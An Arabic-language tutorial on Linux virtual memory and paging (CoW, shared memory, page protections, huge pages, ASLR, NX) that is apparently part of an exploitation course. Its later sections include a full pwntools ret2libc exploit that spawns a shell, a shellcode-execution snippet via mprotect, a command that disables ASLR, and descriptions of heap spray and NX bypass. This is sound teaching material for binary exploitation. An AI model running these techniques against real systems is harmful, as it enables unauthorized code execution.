  • العمليّة الأخرى تبقى ترى الصفحة الأصليّة دون تغيير.
رسم تفاعلي 10 · Copy-on-Write — قبل الكتابة وعقبها
١) بعد fork() مباشرة — صفحةٌ واحدة، PTE في الاثنين بـ R/W=0: Parent process PTE: R=1 W=0 Child process PTE: R=1 W=0 Frame X (مشترك) ٢) لمّا يكتب الـ child → page fault → نسخ فعلي: Parent PTE: R=1 W=1 Child PTE: R=1 W=1 → frame Y Frame X (original) Frame Y (نسخة)
وين تجد CoW؟

كلّ fork() في Linux يستخدمه. بعد mmap() مع flag MAP_PRIVATE: تعدّل صفحات الملف في ذاكرتك بدون ما تؤثّر على الملف أو على العمليّات الأخرى المَخرَطة.

Dirty COW — الثغرة الشهيرة

في 2016 ظهرت ثغرة CVE-2016-5195 «Dirty COW»: سباق Race بين كاتب CoW و madvise(MADV_DONTNEED) في kernel Linux. الاستغلال أتاح للمستخدم كتابة في ملفاتٍ بصلاحيّة root بس (مثل /etc/passwd). الثغرة عمرها 9 سنوات قبل اكتشافها — تذكيرٌ بأن آلية CoW بسيطة المظهر بس هي محفوفة بالأشواك.

17الذاكرة المشتركة (Shared Memory)

كيف تتشارك عمليتان نفس الـ Frame في الـ RAM عمدًا؟ ببساطة: تتربط جداول صفحاتهما بنفس Frame. ما يحتاج CoW هنا — الهدف فعلًا أن تكون التعديلات مرئيّة بين الطرفين.

تطبيقات الذاكرة المشتركة:

  • المكتبات المشتركة (.so/.dll): libc.so.6 تتحمّل مرّة واحدة في الـ RAM، وكلّ العمليّات تربط Frames هذا الملف إلى جداولها. عشرات العمليّات ممكن تستخدم نفس libc بلا أيّ تكرار في الذاكرة.
  • IPC (Inter-Process Communication): برنامجان يتفقان على ربط نفس منطقة الذاكرة عبر shm_open() + mmap()، فيتواصلان بسرعةٍ خياليّة (لا syscalls في كل قراءة/كتابة).
  • ملفات مَخرَطة (file-backed mapping): mmap() لملفٍ يُتيح قراءته كأنه ذاكرة. الـ kernel تقرأ من القرص حسب الحاجة.
shared memory
// إنشاء segment مشترك بين عمليّتين
int fd = shm_open("/sahm_buf", O_CREAT | O_RDWR, 0666);
ftruncate(fd, 4096);

void *ptr = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
                 MAP_SHARED, fd, 0);

// الآن أيّ عمليّةٍ تفتح "/sahm_buf" وتستدعي mmap عليه
// ترى تعديلاتك فورًا في ذاكرتها — لأن الـ frame نفسه.

18حماية الذاكرة (R/W/X)

كلّ Page في الذاكرة الافتراضية لها ثلاث صلاحيّات مستقلّة، يُتحكَّم فيها عبر بتّات PTE:

  • R (Read): قراءة من الصفحة. كلّ الصفحات «الموجودة» قابلة للقراءة افتراضيًّا.
  • W (Write): كتابة في الصفحة. تتحكّم فيها بت R/W في PTE.
  • X (eXecute): تنفيذ تعليمات من الصفحة. تتحكّم فيها بت NX في PTE (مقلوبة منطقيًّا).
القسمالصلاحيةالتعليل
.textr-xقراءة + تنفيذ. لا كتابة لمنع تعديل الكود.
.rodatar--قراءة بس. ثوابت ونصوص.
.data, .bss, heaprw-قراءة وكتابة. لا تنفيذ (NX=1).
stackrw-قراءة وكتابة، لكن NX=1. هذا يقتل shellcode على الـ stack.
صفحة 0غير مَخرَطة عمدًا. أيّ NULL dereference يقتل العمليّة.

يمكنك تعديل الصلاحيّات وقت التشغيل عبر mprotect():

mprotect
// JIT compilers يستخدمون هذا: كتابة كود ثم جعله قابلًا للتنفيذ
void *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

memcpy(page, shellcode, shellcode_len);

// الآن نُحوّلها إلى executable
mprotect(page, 4096, PROT_READ | PROT_EXEC);

(*(void(*)())page)();   // نفّذ الكود
!
W ^ X (Write XOR eXecute)

القاعدة الذهبية في الأنظمة الحديثة: ما تسمح بصفحةٍ تكون قابلةً للكتابة والتنفيذ معًا. لو وجدت صفحةً rwx في برنامج تنوي مهاجمته، فقد عثرتَ على «هدفٍ ذهبي»: اكتب فيها shellcode ونفّذه.

19الصفحات العملاقة (Huge Pages)

حجم 4 KB ممكن يكون صغيرًا مرّة لتطبيقاتٍ تتعامل مع غيغابايتات من البيانات (قواعد بيانات، آلات افتراضية، الذكاء الاصطناعي). لتغطية 1 GB بصفحات 4 KB، نحتاج 262,144 إدخال في الجداول — وضغطٌ هائلٌ على الـ TLB.

الحلّ: صفحات أكبر. على x86_64:

حجم الصفحةالمستويات المطلوبةكيف؟
4 KB4 (PML4 → PDPT → PD → PT)الافتراضي.
2 MB3 (PML4 → PDPT → PD)بت PS=1 في PD entry — يصير PDE نفسه يشير للصفحة مباشرة.
1 GB2 (PML4 → PDPT)بت PS=1 في PDPT entry — يصير PDPTE نفسه يشير للصفحة.

الفائدة:

  • إدخال TLB واحد يغطّي 2 MB بدل 512 إدخال — توفيرٌ كبير ومخيف.
  • Page walks أقل عمقًا (3 بدل 4).
  • أداء أفضل بنسبة 5-15% في تطبيقاتٍ كثيفة الذاكرة.

الثمن: حبيبيّةٌ أقلّ. لو احتجت تغيير صلاحيّة لـ 4 KB داخل صفحة 2 MB، لازم تقسيمها (split). أيضًا استخدام huge pages في الـ heap spray يخلّي المهاجم يضع كميّةً ضخمةً من البيانات المتوقّعة في عناوين منظَّمة.

20Paging في Linux — من بُنية البيانات إلى الواقع

في kernel Linux، يُمثَّل كلّ ما يتعلّق بذاكرة عمليةٍ معيّنة في بنية struct mm_struct. أهم حقولها:

  • pgd: مؤشر إلى Page Global Directory — جذر شجرة الجداول للعمليّة (يتوافق مع PML4 على x86_64).
  • mmap: قائمة مزدوجة الترابط من struct vm_area_struct (VMA).
  • start_code, end_code, start_data, start_brk… حدود الأقسام.

VMA (Virtual Memory Area) تمثّل منطقةً مستمرّة من العنونة لها نفس الصلاحيّات. كلّ سطر تراه في /proc/<pid>/maps هو VMA واحد.

المسار الكامل لـ malloc

  1. تستدعي malloc(100).
  2. libc تبحث في buckets الـ heap عن قطعة حرّة — إن وُجدت، تعيدها.
  3. إن لم تجد، تستدعي brk() لتوسيع الـ heap (أو mmap() للأحجام الكبيرة).
  4. الـ kernel تنشئ/توسّع VMA — لكن لا تربط Frames بعد.
  5. تستعمل أنت المؤشّر — أوّل وصول يسبّب Page Fault.
  6. الـ kernel تجلب Frame حرًّا، تربطه، وتعود.

OOM Killer

إذا انتهت الـ RAM والـ swap معًا، يفعّل Linux ميزة Out-Of-Memory Killer: يختار العمليّة الأكثر «إسرافًا» حسب نقاط (oom_score) ويقتلها لإنقاذ النظام. هذي آلية قاسيّة بس هي ضروريّة.

i
Overcommit

Linux يسمح افتراضيًّا بـ overcommit: malloc(8 GB) ينجح على جهازٍ بـ 4 GB RAM! لأن الـ kernel تثق أنّك يمكن ما بتستخدم كلّ هذا. لكن لمّا تستخدم فعلًا — والذاكرة غير متوفّرة — يتدخّل OOM killer.

21أوامر التشخيص العمليّة

/proc/<pid>/maps — خريطة الذاكرة الكاملة

bash · /proc maps
$ cat /proc/self/maps
5600a0000000-5600a0001000 r--p 00000000 08:01 12345 /usr/bin/cat
5600a0001000-5600a0005000 r-xp 00001000 08:01 12345 /usr/bin/cat
5600a0005000-5600a0008000 r--p 00005000 08:01 12345 /usr/bin/cat
5600a0008000-5600a0009000 r--p 00007000 08:01 12345 /usr/bin/cat
5600a0009000-5600a000a000 rw-p 00008000 08:01 12345 /usr/bin/cat
5600a17b1000-5600a17d2000 rw-p 00000000 00:00 0          [heap]
7f0aabe00000-7f0aabe22000 r--p 00000000 08:01 67890 /usr/lib/libc.so.6
7f0aabe22000-7f0aabf99000 r-xp 00022000 08:01 67890 /usr/lib/libc.so.6
7ffd12300000-7ffd12321000 rw-p 00000000 00:00 0          [stack]
7ffd123ec000-7ffd123f0000 r--p 00000000 00:00 0          [vvar]
7ffd123f0000-7ffd123f2000 r-xp 00000000 00:00 0          [vdso]

كلّ سطر = VMA واحد. الأعمدة: address_range perms offset device inode pathname.

pmap — أداة أبسط

bash · pmap
$ pmap -x $$
# يطبع كل segments للـ shell الحالي مع الحجم وعدد KB المُقيمة
Address           Kbytes     RSS   Dirty Mode  Mapping
000056...          4       4       0 r-x-- bash
000056...        132     132     132 rw--- [ anon ]
00007f...       1856    1216       0 r-x-- libc.so.6

/proc/<pid>/pagemap — العنوان الفعلي

ملفٌ ثنائيٌّ يعطي لكلّ صفحة افتراضية 8 بايت: PFN + بتّات الحالة. تحتاج CAP_SYS_ADMIN لقراءة PFN فعليًّا (لأسبابٍ أمنية: Rowhammer ومحلّقات side-channel).

أمثلة في GDB

gdb / pwndbg
pwndbg> vmmap                   # خريطة كاملة كـ /proc/maps
pwndbg> vmmap libc              # فقط مناطق libc
pwndbg> vmmap stack             # منطقة stack الحالية
pwndbg> info proc mappings      # بديل native لـ vmmap
pwndbg> p/x &buffer             # طباعة عنوان متغيّر
pwndbg> x/16gx 0x7ffe12345000    # عرض 16 quadword من العنوان
pwndbg> find 0x7ffe00000000, 0x7fff00000000, "/bin/sh"
# ابحث عن string في الذاكرة (مفيد جدًّا لـ ret2libc)

Linux: التحقّق من ASLR

bash
$ cat /proc/sys/kernel/randomize_va_space
2   # 0=معطّل  1=stack/heap  2=stack/heap/mmap (الافتراضي)

# لتعطيله مؤقّتًا (للتجارب فقط):
$ sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

# أو لعمليّة واحدة فقط:
$ setarch $(uname -m) -R ./vuln

22اعتبارات الأداء

الـ Paging أداة قوية، بس كل ميزة لها ثمن. خَل نفهم متى تدفع هذا الثمن وكيف تخفّفه.

ضغط الـ TLB (TLB Pressure)

الـ TLB صغير. إذا كان برنامجك يقفز بين عناوين عشوائية في فضاءٍ كبير، فإن كلّ قفزة قد تسبّب TLB miss، وكلّ miss يكلّفك ~100 cycle بدل ~1 cycle. هذا الفرق هائلٌ في الحلقات الضيّقة.

تشبيه: لو كنتَ تقرأ كتابًا، الحلّ السريع هو فتحه على الصفحة المطلوبة. لكن لو كنت تقفز بين الصفحات عشوائيًا (ص5، ص300، ص27، ص500…) فستهدر معظم وقتك في البحث، لا في القراءة.

  • Locality of reference: اقرأ ذاكرتك بترتيبٍ متّصل قدر الإمكان (تكرار الـ array من البداية للنهاية أفضل من القفز).
  • Huge pages: 2 MB يغطّي ما يغطّيه 512 صفحة 4 KB في إدخال TLB واحد. مفيد مرّة لقواعد البيانات والـ JVM.
  • التهيئة: هياكل البيانات المضغوطة (مثل struct-of-arrays) تجنّبك تشتيت الصفحات.

تأثير الـ Cache

الـ TLB و L1/L2/L3 caches منفصلون، لكنهم يتأثّرون ببعض. صفحةٌ عملاقة (2 MB) ممكن تطرد كثيرًا من بيانات الـ L2 لو وضعت فيها مجموعةً صغيرة من البيانات الساخنة. القاعدة العامة: اضبط حجم صفحتك على نمط وصولك للذاكرة.

تكلفة Context Switch

كلّ تبديلٍ بين عمليتين يكتب CR3 من جديد. هذا يمسح TLB (ما عدا الصفحات Global). النتيجة: الدقائق الأولى بعد التبديل تحوي moins TLB misses كثيرة. هذا سببٌ مهم لتفضيل threads داخل نفس العمليّة على عملياتٍ منفصلة في الأنظمة عالية الأداء.

NUMA — لمّا يكون مكان الـ RAM مهمًا

في أنظمة الخوادم الحديثة، كلّ CPU socket متّصل بحزمةٍ من الـ RAM «القريبة» (local) وحزمٍ «بعيدة» (remote). الوصول للذاكرة البعيدة ممكن يكون أبطأ بضعفين. NUMA-aware allocation يحاول وضع صفحات العمليّة في الذاكرة الأقرب للـ CPU اللي يشغّلها.

Transparent Huge Pages (THP)

Linux يحاول تلقائيًا ترقية مجموعاتٍ من صفحات 4 KB إلى صفحاتٍ من 2 MB لتقليل ضغط الـ TLB. مفيد للأغلبية، بسه أحيانًا يضرّ تطبيقات الـ latency-sensitive (مثل قواعد البيانات) لأن «ترقية» الصفحات تأخذ وقتًا. الكثير من إعدادات Redis و PostgreSQL تنصح بتعطيله.

قاعدة عملية

قبل تحسين الـ paging، قِس. استخدم perf stat -e dTLB-load-misses,iTLB-load-misses ./prog لترى هل برنامجك فعلًا يعاني من TLB pressure، ولا أن المشكلة في مكانٍ آخر.

23الأثر الأمني: ASLR وNX و Guard Pages

كلّ آلية حمايةٍ ضدّ الـ Binary Exploitation هي تطبيقٌ لبتٍّ معيّن في PTE. هذا أهمّ ما لازم يستوعبه قارئ هذا الدرس. لنستعرضها واحدةً تلو الأخرى.

NX — No-eXecute (DEP)

بت 63 في PTE. لمّا يكون = 1، أيّ محاولةٍ لتنفيذ تعليمةٍ من هذي الصفحة تسبّب Page Fault مع بت I (Instruction fetch) في الـ error code.

قبل NX (سنوات 2000)، كان شائعًا أن تضع shellcode في الـ stack وتقفز إليه. اليوم: .text فيه X=1 لكن W=0، و stack/heap فيها W=1 لكن X=0. هذي القاعدة (W^X) هي ما يجبرنا على استخدام ROP.

ASLR — Address Space Layout Randomization

بدل تحميل البرنامج عند نفس العنوان كلّ مرّة، يضع نظام التشغيل الأقسام المختلفة في مواضع عشوائية. على Linux مع randomize_va_space=2:

  • Stack: يتعشّى بـ ~22 بت من العشوائيّة.
  • Heap: يتعشّى بـ ~13 بت.
  • mmap (و libc): ~28 بت.
  • PIE binary: الـ .text نفسه يتعشّى — لكن بس إذا كان البرنامج مُجمَّعًا بـ -fPIE -pie.

ASLR مو حمايةً مطلقة. إذا تمكّنت من تسريب أيّ عنوانٍ من libc (عبر format string، أو قراءة GOT)، فستحسب باقي العناوين منه لأن الـ offsets داخل libc ثابتة.

Guard Pages

صفحاتٌ مَخرَطة لكن غير حاضرة (P=0) أو بدون أيّ صلاحيّات (PROT_NONE). هدفها التقاط الـ overflows. أشهر استخدام: نهاية الـ stack. لو نمت stack أكثر من اللازم، تصطدم بـ guard page → SIGSEGV بدل أن تكتب فوق منطقةٍ مجاورة.

SMEP / SMAP

  • SMEP (Supervisor Mode Execution Prevention): الـ kernel لا تقدر تنفيذ تعليمات من صفحات user. يمنع هجمات «kernel تقفز إلى shellcode في user».
  • SMAP (Supervisor Mode Access Prevention): الـ kernel لا تقدر حتى قراءة/كتابة صفحات user مباشرة. يلزمها استدعاء copy_from_user().

KASLR و KPTI

  • KASLR: ASLR للنواة. عنوان system_call يتغيّر بين الأقلاع والآخر.
  • KPTI: فصل كامل بين جداول صفحات الـ kernel وجداول صفحات user. علاج Meltdown — لكن بكلفة أداء.

24تطبيقات في الـ Reverse Engineering والاستغلال

هنا تتلاقى كل المفاهيم اللي مرّت معنا في الميدان. خَلّنا نشوف ليش فهم الـ Paging ما هو ترف أكاديمي، بل أداة يومية للمستغِلّ.

ret2libc — وليش تحتاج libc base

لما يكون NX=1 على الـ stack، ما تقدر تحقن shellcode هناك وتنفّذه. الحلّ: اقفز لكود موجود فعلًا في الذاكرة وقابل للتنفيذ. مكتبة libc.so.6 هي الهدف الأفضل، لأنها فيها system() و execve() ومئات الـ gadgets.

بس ASLR يحط libc في عنوان عشوائي. خطواتك:

  1. سرّب أي عنوان واحد من libc (مثلًا puts) عبر طباعة قيمة في GOT.
  2. اطرح offset الـ puts داخل libc (ثابت معروف) من العنوان المسرّب → بتطلع لك libc base.
  3. زِد offsets ثابتة لـ system و "/bin/sh".
  4. ابنِ payload: [junk] [pop_rdi gadget] [&"/bin/sh"] [&system].
pwntools · ret2libc
from pwn import *

elf  = ELF("./vuln")
libc = ELF("./libc.so.6")
io   = process("./vuln")

# المرحلة 1: سرّب puts عبر طباعة puts@got
pop_rdi   = 0x401234
puts_plt  = elf.plt["puts"]
puts_got  = elf.got["puts"]
main      = elf.symbols["main"]

payload  = b"A" * 72
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(payload)

leaked    = u64(io.recvline().strip().ljust(8, b"\x00"))
libc_base = leaked - libc.symbols["puts"]
log.success(f"libc @ {hex(libc_base)}")

# المرحلة 2: استدعِ system("/bin/sh")
system   = libc_base + libc.symbols["system"]
binsh    = libc_base + next(libc.search(b"/bin/sh"))
ret      = 0x40101a  # stack alignment على Ubuntu الجديد

payload2  = b"A" * 72
payload2 += p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
io.sendline(payload2)
io.interactive()

شف كيف إن كل سطر تقريبًا يعتمد على فهمنا للـ paging: الـ GOT في صفحة rw-، الـ .text في r-x، والمسافات بين الرموز ثابتة داخل الصفحة بس العنوان الأساسي عشوائي بسبب ASLR.

Heap Spray — استغلال Demand Paging

في هجمات الـ browser exploitation، المهاجم يخصّص كميّة كبيرة من الذاكرة (مثلًا 1 GB) عبر JavaScript، ويعبّيها بـ NOP-sled + shellcode (أو ROP chain). الفكرة: لو قدر يحوّل التنفيذ لعنوان شبه عشوائي، احتمال إنه يهبط داخل منطقته كبير.

Demand Paging هو اللي خلّى هذا ممكن: المهاجم ما يستهلك فعلًا 1 GB من RAM — بس الصفحات اللي كتب فيها بالفعل. يعني تقدر ترش كميّات ضخمة بتكلفة قليلة.

mprotect Trick — حوّل الصفحة من قابلة للكتابة إلى قابلة للتنفيذ

إذا قدرت تبني ROP chain، واحدة من أكثر الـ chains فايدة هي:

  1. اكتب shellcode في الـ heap أو الـ .bss.
  2. استدعِ mprotect(addr, size, PROT_READ|PROT_WRITE|PROT_EXEC) عبر ROP.
  3. اقفز للـ shellcode.

كذا تتجاوز NX، لأنك تستخدم آلية النظام نفسها عشان تحرّر الصلاحية.

Format String → libc leak → كسر ASLR

ثغرة format string بسيطة تخلّيك تقرأ قيم من الـ stack. وحدة من هذي القيم بتكون عنوان داخل libc (مثلًا __libc_start_main+offset). تطرح الـ offset الثابت وتحصل على libc base. ولأن الـ TLB كاش هذي الصفحة، الوصول سريع — يعني الـ exploit يخلص في ميلي ثانية.

Reverse Engineering: قراءة الـ binary من الذاكرة

memory dump
# في GDB: استخرج الـ .text section من ذاكرة العملية
(gdb) info proc mappings
(gdb) dump memory dump.bin 0x401000 0x402000

# أو من /proc مباشرة لعملية شغّالة:
$ cat /proc/<pid>/maps | grep r-xp
$ dd if=/proc/<pid>/mem of=text.bin bs=1 \
       skip=$((0x401000)) count=$((0x1000))
!
ملاحظة جوهرية للقارئ

كل تقنية استغلال بشكل أو بآخر تتعامل مع الفصل بين فضاء العنونة الافتراضي والذاكرة الفعلية. اللي يفهم الـ paging يقدر يتوقّع سلوك أي هدف قبل ما يشغّله، ويفهم ليش تنجح أو تفشل تقنية معيّنة.

25أفكار غلط ومنتشرة لازم تنتبه لها

خَل نصحّح كم اعتقاد طايف بين الناس:

«كل ما زاد الـ RAM، الجهاز يصير أسرع»

صح بس إذا كان نظامك يلجأ للـ swap حاليًا. إذا free -h يبيّن إن عندك RAM متاح، إضافة المزيد ما بتغيّر شي. السرعة الفعلية تيجي من cache locality، مو من كمية الـ RAM.

«stack ينمو نحو تحت، يعني حجمه صغير»

الاتجاه ما له علاقة بالحجم. الـ stack يقدر ينمو لين ~8 MB افتراضيًا على Linux (تقدر تعدّله عبر ulimit -s). والـ kernel يوسّعه تلقائيًا لما يحتاج عبر page faults.

«malloc يحجز الذاكرة على طول»

غلط منتشر مرّة. malloc يحجز فضاء افتراضي، مو فعلي. الذاكرة الفعلية ما تتخصّص لين أوّل كتابة في الصفحة. عشان كذا malloc(8 GB) ينجح على جهاز فيه 4 GB بس.

«ASLR يخلّي الاستغلال مستحيل»

غلط. ASLR يخلّي الاستغلال أصعب، مو مستحيل. أي تسريب ولو لعنوان واحد بس يكفي عشان تحسب كل العناوين الثانية داخل نفس المكتبة. عشان كذا ASLR دايمًا يتقرن مع آليات ثانية (NX، Canary، CFI).

«NX يقتل كل هجمات code injection»

غلط. NX يقتل shellcode المباشر، بس ROP يستعمل تعليمات موجودة أصلًا في .text (وهي قابلة للتنفيذ). ROP يحاول يتحايل على NX عبر «بناء» السلوك المطلوب من قطع صغيرة من الكود اللي موجود.

«جداول الصفحات داخل مساحة العملية»

غلط بالضبط. الجداول ملك للـ kernel، تعيش في kernel space. العملية ما تقدر تقراها ولا تعدّلها مباشرة — أي محاولة بتنتهي بـ Page Fault بسبب بت U/S.

«مؤشّر NULL = العنوان 0 يعني ممنوع رياضيًا»

من ناحية القيمة صح، بس السبب اللي يخلّي الـ dereference يقتل العملية مو إن «0 ممنوع رياضيًا». السبب إن نظام التشغيل عمدًا ما يخرّط الصفحة الأولى. أي قراءة من 0x0 بتسبّب Page Fault لأن الـ PTE مو صالحة.

26الخلاصة والنقاط الأساسية

خلصنا الرحلة. خَل نلمّ الأفكار الكبيرة اللي لازم تبقى معاك:

  • الذاكرة الافتراضية = وهم منظّم. كل عملية تشوف فضاء منفصل، والـ MMU يترجم عناوينها لأماكن فعلية في الـ RAM.
  • الـ Paging هو الآلية. قسّم كل شي إلى صفحات من 4 KB. اربط كل صفحة افتراضية بإطار فعلي عبر الجداول.
  • الجداول متعدّدة المستويات. 4 مستويات على x86_64 (PML4 → PDPT → PD → PT). 9 بت لكل مستوى + 12 بت offset = 48 بت.
  • الـ MMU + TLB يشتغلون على الترجمة. الـ TLB يكاش الترجمات الجديدة عشان يتفادى 4 قراءات إضافية من RAM في كل وصول.
  • Page Faults مو دائمًا أخطاء. Demand paging، CoW، swap-in… كلها تتعالج بصمت. الـ SIGSEGV يصير بس عند الانتهاك الحقيقي.
  • كل آليات الحماية = بتّات PTE. NX = بت 63. R/W = بت 1. U/S = بت 2. ASLR = ترتيب عشوائي للأقسام. Guard pages = صفحات بـ P=0.
  • المهاجم لازم يكسر هذي القيود. Info leak عشان يكسر ASLR، ROP عشان يكسر NX، mprotect عشان يتجاوز W^X.
  • الأداء يجي من الـ locality. اقرأ ذاكرتك بترتيب. استخدم Huge Pages لما تحتاج. قِس قبل ما تحسّن.
الخطوة الجاية في رحلتك

اقرأ /proc/self/maps لبرنامجك. شغّل GDB على ملف بسيط واطبع vmmap. اكتب exploit لـ ret2libc على ثنائي بسيط. كل هذا يبني حدسك ويحوّل المعرفة النظرية لمهارة عملية. وفي الدروس الجاية من فن الاستغلال بنبني فوق هذا الأساس مباشرة: ROP المتقدّم، Heap exploitation، Kernel exploitation.

??الأسئلة الشائعة

Q1وش الفرق العملي بين mmap و malloc؟

malloc دالّة مكتبيّة في libc تدير heap داخلي. تستخدم brk() للأحجام الصغيرة، و mmap() للأحجام الكبيرة (عادةً أكبر من 128 KB).

mmap system call مباشر يطلب من الـ kernel منطقة جديدة من الذاكرة الافتراضية. تتحكّم بكل تفصيلة: العنوان، الصلاحيات، إذا كانت مشتركة ولا خاصة، إذا كانت مَخرَطة لملف.

إذا بغيت صلاحية مخصّصة (مثل PROT_EXEC) أو ذاكرة مشتركة بين عمليات، لازم تروح لـ mmap مباشرة.

Q2أقدر أشوف العنوان الفعلي لمتغيّر من user-space؟

إي تقدر — بس تحتاج صلاحيات. اقرأ /proc/self/pagemap عقب ما تحسب رقم الصفحة. كل صفحة لها 8 بايت في الملف، البتّات 0..54 = PFN، البت 63 = present.

من Linux 4.0 تقريبًا، صار يلزمك CAP_SYS_ADMIN عشان تقرأ الـ PFN فعلًا. السبب أمني: ثغرات Rowhammer كانت تستخدم هذي المعلومة.

Q3ليش fork() ما يضاعف استهلاك الذاكرة؟

بفضل Copy-on-Write. عقب fork()، الأب والابن يتشاركان نفس Frames في RAM، مع PTE معلّمة R/W=0. ما تتنسخ أي صفحة فعليًا لين يحاول واحد منهم يكتب.

هذا اللي خلّى fork() + exec() رخيص حتى لو الأب يستهلك جيغابايتات — لأن أغلب الصفحات ما بتتكتب أبد قبل ما يستبدلها exec().

Q4وش الفرق بين segfault و bus error؟

SIGSEGV = وصول لصفحة مو مَخرَطة أو بصلاحية غلط (قراءة من P=0، كتابة في R/W=0، تنفيذ من NX=1).

SIGBUS = العنوان مَخرَط صح، بس المشكلة في الـ alignment أو في الـ backing store (مثلًا قريت من ملف مَخرَط بس الملف اتقَطع، أو حاولت تقرأ 8 بايت من عنوان مو محاذٍ على معمارية ما تسمح بكذا).

Q5هل ASLR وحده يكفي لمنع الاستغلال؟

لا، أبد. ASLR يحط عقبة وحدة: المهاجم ما يدري عناوين الذاكرة من قبل. بس:

  • تسريب أي عنوان وحد يكسره كامل داخل تلك المكتبة.
  • عشوائية منخفضة (مثل 13 بت في heap على Linux) ممكن تتعمل عليها brute-force ساعات.
  • ثغرات معلوماتية (format string، uninitialized memory) موجودة بكثرة.

عشان كذا ASLR دايمًا يجي مع NX و Stack Canary و CFI. الحماية الزينة طبقات فوق طبقات.

Q6متى أستخدم Huge Pages؟

استخدمها لما:

  • تشتغل على تطبيق يخصّص كميات كبيرة من الذاكرة بنمط متّصل (قواعد بيانات، آلات افتراضية، JVM).
  • تقيس بـ perf stat وتشوف عدد TLB misses مرتفع.
  • عندك RAM كافي — Huge Pages ما تدعم Demand Paging الجزئي.

تجنّبها في تطبيقات latency-sensitive أو فيها تخصيصات صغيرة وكثيرة. واختبر قبل ما تفعّلها دائمًا.

Q7كيف أتدرّب عمليًا على اللي تعلّمته هنا؟

خطوات مقترَحة:

  1. اكتب برنامج C يطبع عنوان متغيّر محلي وعنوان مؤشّر من malloc، شغّله كم مرّة وراقب كيف تتغيّر العناوين بسبب ASLR.
  2. افحص /proc/self/maps لبرنامجك وحاول تتعرّف على كل منطقة.
  3. سوّ mmap لصفحة جديدة وحوّلها من rw لـ r-x بـ mprotect، ثم نفّذ كود منها.
  4. افتح GDB على ثنائي ضعيف وجرّب vmmap + find "/bin/sh".
  5. ابنِ ret2libc بسيط على CTF challenge — هناك بتفهم كل اللي قريته هنا بشكل يومي.
Q8وش العلاقة بين Cache و TLB؟

الاثنين cache في المعالج، بس لأشياء مختلفة:

  • TLB يكاش الترجمات (VPN → PFN). يتستشار قبل أي وصول للذاكرة عشان يحدّد العنوان الفعلي.
  • L1/L2/L3 cache يكاش محتوى الذاكرة الفعلي. يتستشار عقب الـ TLB.

يعني TLB miss + cache hit ممكن (ندري العنوان الفعلي بس البيانات موجودة هناك)، وبعد TLB hit + cache miss. الأداء الزين يحتاج نجاح في الاثنين.